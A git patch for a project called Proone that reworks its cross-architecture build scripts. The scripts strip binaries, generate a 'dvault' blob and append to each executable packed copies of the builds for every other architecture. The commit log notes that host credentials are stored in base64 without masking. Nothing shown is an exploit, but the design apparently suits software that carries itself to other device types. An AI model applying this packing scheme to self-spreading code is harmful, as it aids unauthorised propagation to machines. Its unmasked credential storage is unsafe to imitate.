From 76d4d6b2bafada7b790e817b7324d53f3d3a0c7f Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Thu, 20 Aug 2020 12:23:35 +0930
Subject: Progress ...

* Move DVault out of executable. Dynamically load it on startup
* Improved testing scheme
* Tidy up prne_*assert* macro series
* Protocol: store host credentials in base64 string. No mask
* Use the lock shm as a shared_global so the stats can persist
* mmap() the executable read-only for later use
---
 scripts/build-all.sh  | 93 ++++++++++++++++++++++++++++++++-------------------
 scripts/build-arch.sh | 30 +++++++++++++++++
 scripts/xcomp.sh      | 21 ------------
 3 files changed, 88 insertions(+), 56 deletions(-)
 create mode 100755 scripts/build-arch.sh
 delete mode 100755 scripts/xcomp.sh

(limited to 'scripts')

diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index 8001152..f3b0a51 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+set -e
+
 ARCH_ARR=(
 	"aarch64"
 	"armv4t"
@@ -38,57 +40,78 @@ if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}"
 	exit 2
 fi
 
-set -e
-
 PROONE_PREFIX="builds"
-PROONE_DEBUG_SYM="$PROONE_PREFIX/debug"
-PROONE_REL_BIN="$PROONE_PREFIX/proone"
-PROONE_TOOLS="$PROONE_PREFIX/tools"
-PROONE_MISC_BIN="$PROONE_PREFIX/misc"
-export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM/proone.debug"
-export PROONE_REL_BIN_PREFIX="$PROONE_REL_BIN/proone"
-export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN/"
-PROONE_PACKER="$PROONE_TOOLS/proone-pack"
-PROONE_UNPACKER="$PROONE_TOOLS/proone-unpack"
-PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive"
+PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug"
+PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin"
+PROONE_TOOLS_DIR="$PROONE_PREFIX/tools"
+PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc"
+PROONE_BINARCH_DIR="$PROONE_PREFIX/binarch"
+PROONE_REL_DIR="$PROONE_PREFIX/proone"
+export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/"
+export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec"
+export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
+PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
+PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
+PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
+PROONE_TOOLS="
+	proone-pack
+	proone-unpack
+	proone-list-arch
+	proone-mkdvault
+	proone-ipaddr-arr
+"
+
 
 rm -rf "$PROONE_PREFIX"
-mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM" "$PROONE_REL_BIN" "$PROONE_TOOLS" "$PROONE_MISC_BIN"
+mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM_DIR" "$PROONE_EXEC_DIR" "$PROONE_TOOLS_DIR" "$PROONE_MISC_BIN_DIR" "$PROONE_BINARCH_DIR" "$PROONE_REL_DIR"
 set +e
 make distclean
 set -e
 
 # native build for tools
 ./configure $PROONE_AM_CONF 
-make -j$(nproc) 
-cp -a src/proone-pack "$PROONE_PACKER" 
-cp -a src/proone-unpack "$PROONE_UNPACKER" 
-cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" 
-cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" 
-cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" 
-cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv"
+cd src
+make -j$(nproc) $PROONE_TOOLS
+cd ..
+for t in $PROONE_TOOLS; do
+	cp -a "src/$t" "$PROONE_TOOLS_DIR"
+done
+cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
 make distclean
 
+# generate dvault
+"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT"
+DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")
+
 # cross-compile targets
 for (( i = 0; i < ARR_SIZE; i += 1 )); do
-	PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh"
-	if [ $? -ne 0 ]; then
-		exit $?
-	fi
+	PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/build-arch.sh"
 done
 
 # pack
-"$PROONE_PACKER" "$PROONE_REL_BIN_PREFIX."* | base64 >> "$PROONE_BIN_ARCHIVE"
-if [ $? -ne 0 ]; then
-	exit $?
-fi
-
-# archive test
+for (( i = 0; i < ARR_SIZE; i += 1 )); do
+	this_arch="${ARCH_ARR[$i]}"
+	other_archs=""
+	rel="$PROONE_REL_PREFIX.$this_arch"
+	binarch="$PROONE_BINARCH_PREFIX.$this_arch"
 
+	for (( j = 0; j < ARR_SIZE; j += 1 )); do
+		if [ $i -eq $j ]; then
+			continue
+		fi
+		other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}"
+	done
 
-# size report
-total_bin_size=$(cat "$PROONE_REL_BIN_PREFIX."* | wc -c)
-bin_archive_size=$(wc -c "$PROONE_BIN_ARCHIVE" | awk '{print $1;}')
-echo "print(\"archive/bin = $bin_archive_size / $total_bin_size (\" + str($bin_archive_size / $total_bin_size * 100) + \"%)\")" | python3
+	"$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch"
+	binarch_size="$(stat -c "%s" "$binarch")"
 
-exit 0
+	cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel"
+	# TODO: parameterise BIN_ALIGNMENT?
+	./src/build-utils.sh align-file 8 "$rel"
+	./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel"
+	./src/build-utils.sh append-uint16 0 "$rel"
+	./src/build-utils.sh append-uint32 $binarch_size "$rel"
+	cat "$PROONE_DVAULT" >> "$rel"
+	./src/build-utils.sh align-file 8 "$rel"
+	cat "$binarch" >> "$rel"
+done
diff --git a/scripts/build-arch.sh b/scripts/build-arch.sh
new file mode 100755
index 0000000..7c5301f
--- /dev/null
+++ b/scripts/build-arch.sh
@@ -0,0 +1,30 @@
+#!/bin/bash
+set -e
+
+MISC_BIN="
+	proone-stress
+	proone-resolv
+	proone-test_proto
+	proone-test_util
+"
+
+separate_debug() {
+	cp -a "$1" "$2"
+	"$PROONE_HOST-objcopy" --only-keep-debug "$2" "$3"
+	"$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$2"
+	"$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2"
+}
+
+BIN_PATH="$PROONE_EXEC_PREFIX.$PROONE_BIN_ARCH"
+
+./configure --host="$PROONE_HOST" $PROONE_AM_CONF
+cd src
+make -j$(nproc) proone.bin $MISC_BIN
+cd ..
+
+separate_debug src/proone.bin "$BIN_PATH" "$PROONE_DEBUG_SYM_PREFIX""proone.sym.$PROONE_BIN_ARCH"
+for b in $MISC_BIN; do
+	separate_debug "src/$b" "$PROONE_MISC_BIN_PREFIX/$b.$PROONE_BIN_ARCH" "$PROONE_DEBUG_SYM_PREFIX""$b.sym.$PROONE_BIN_ARCH"
+done
+
+make distclean
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh
deleted file mode 100755
index 3aa050f..0000000
--- a/scripts/xcomp.sh
+++ /dev/null
@@ -1,21 +0,0 @@
-#!/bin/bash
-set -e
-
-separate_debug() {
-	cp -a "$1" "$2"
-	"$PROONE_HOST-objcopy" --only-keep-debug "$2" "$3"
-	"$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$2"
-	"$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2"
-}
-
-BIN_DBG="$PROONE_DEBUG_SYM_PREFIX.$PROONE_BIN_ARCH"
-BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH"
-
-./configure --host="$PROONE_HOST" $PROONE_AM_CONF
-make -j$(nproc)
-
-separate_debug src/proone "$BIN_REL" "$BIN_DBG"
-cp -a src/proone-stress "$PROONE_MISC_BIN_PREFIX/proone-stress.$PROONE_BIN_ARCH"
-cp -a src/proone-arch-test "$PROONE_MISC_BIN_PREFIX/proone-arch-test.$PROONE_BIN_ARCH"
-
-make distclean
-- 
cgit v1.2.3-70-g09d2